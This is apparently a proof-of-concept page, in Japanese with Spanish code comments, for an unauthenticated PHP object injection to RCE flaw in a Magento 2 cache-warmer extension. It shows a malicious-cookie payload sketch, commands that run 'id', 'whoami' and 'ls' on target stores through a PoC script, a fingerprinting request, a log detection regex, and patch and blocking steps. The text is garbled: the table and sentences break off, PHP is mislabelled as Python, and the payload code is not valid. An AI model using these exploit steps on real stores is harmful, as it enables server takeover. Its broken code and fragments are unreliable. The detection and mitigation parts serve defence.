
PoC機能のCVE-2026-45247: Mirasvit Full Page Cache(Magento 2)における未認証のPHPオブジェクトインジェクションからRCEへ。
CVE-2026-45247 は、Magento 2 および Adobe Commerce 向けの Mirasvit Full Page Cache Warmer 拡張機能における重大な PHPオブジェクトインジェクション (PHP Object Injection) の脆弱性です。認証されていない攻撃者が、操作されたシリアル化された PHP オブジェクトを CacheWarmer クッキーで送信することで、リモートコード実行 (RCE) を達成できます。
この脆弱性は、PHP のネイティブ関数 unserialize() に対する無制限の呼び出しと、Magento およびその依存関係(特に Monolog)で利用可能なガジェットチェーン (gadget chains) の組み合わせに起因します。
| 属性 | 値 |
|---|
| CVE | CVE-2026-45247 |
| 製品 | Mirasvit Full Page Cache Warmer for Magento 2 |
| 影響を受けるバージョン | 1.11.12 未満の全バージョン |
| 利用可能なパッチ | バージョン 1.11.12 (2026年5月25日) |
| CVSS スコア | 9.8 (クリティカル) |
| ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CISA KEV ステータス | アクティブな悪用が確認済み (2026年6月3日追加) |
| 期限 | 2026年6月6日 |
CacheWarmer クッキーを処理するunserialize() に渡されるSyslogUdpHandler, BufferHandler, FingersCrossedHandler) を使用して RCE を達成する# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
python
$cookieValue = $_COOKIE['CacheWarmer']; $data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
### フェーズ3: エクスプロイトの実行
python
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
アクセスログ内:
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
悪用で観測されたコマンド:
echo PWNED_CVE2026_$(date +%s)
sleep 5
使用されたガジェットチェーン:
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}